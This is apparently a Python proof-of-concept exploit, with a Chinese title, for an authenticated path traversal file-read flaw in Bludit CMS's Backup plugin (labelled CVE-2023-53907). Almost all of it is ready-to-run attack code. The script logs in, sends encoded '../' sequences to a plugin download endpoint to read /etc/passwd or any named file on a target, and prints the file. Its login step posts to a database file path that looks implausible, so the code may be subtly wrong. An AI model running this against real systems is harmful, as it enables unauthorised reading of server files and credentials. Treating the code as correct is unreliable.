CVE-2023-53907 Bludit Backup插件路径遍历任意文件读取漏洞

import requests import sys # CVE-2023-53907 PoC - Bludit Backup Plugin Directory Traversal # Target: Bludit CMS < 3.13.1 # Type: Authenticated Arbitrary File Read via Path Traversal def exploit_bludit_lfi(target_url, username, password, filename='/etc/passwd'): """ Exploit authenticated arbitrary file read vulnerability in Bludit Backup Plugin. Args: target_url: Base URL of the vulnerable Bludit installation username: Valid low-privilege user account password: Password for the user account filename: Path to file to read (default: /etc/passwd) Returns: Content of the requested file if exploitation succeeds """ login_url = f"{target_url}/bl-content/databases/users.php" session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data) # Step 2: Exploit path traversal in Backup plugin download functionality exploit_url = f"{target_url}/bl-plugins/backup/function/download.php" # Path traversal payload - encode ../ sequence to bypass filters payload = "..%2F..%2F..%2F" + filename.replace('/', '%2F') exploit_params = { 'path': payload } exploit_response = session.get(exploit_url, params=exploit_params) if exploit_response.status_code == 200: print(f"[+] Successfully retrieved file: {filename}") print(f"[+] File content length: {len(exploit_response.text)} bytes") return exploit_response.text else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53907.py <target_url> <username> <password> [filename]") print("Example: python cve-2023-53907.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' result = exploit_bludit_lfi(target, user, pwd, file_path) if result: print("\n" + "="*50) print(result)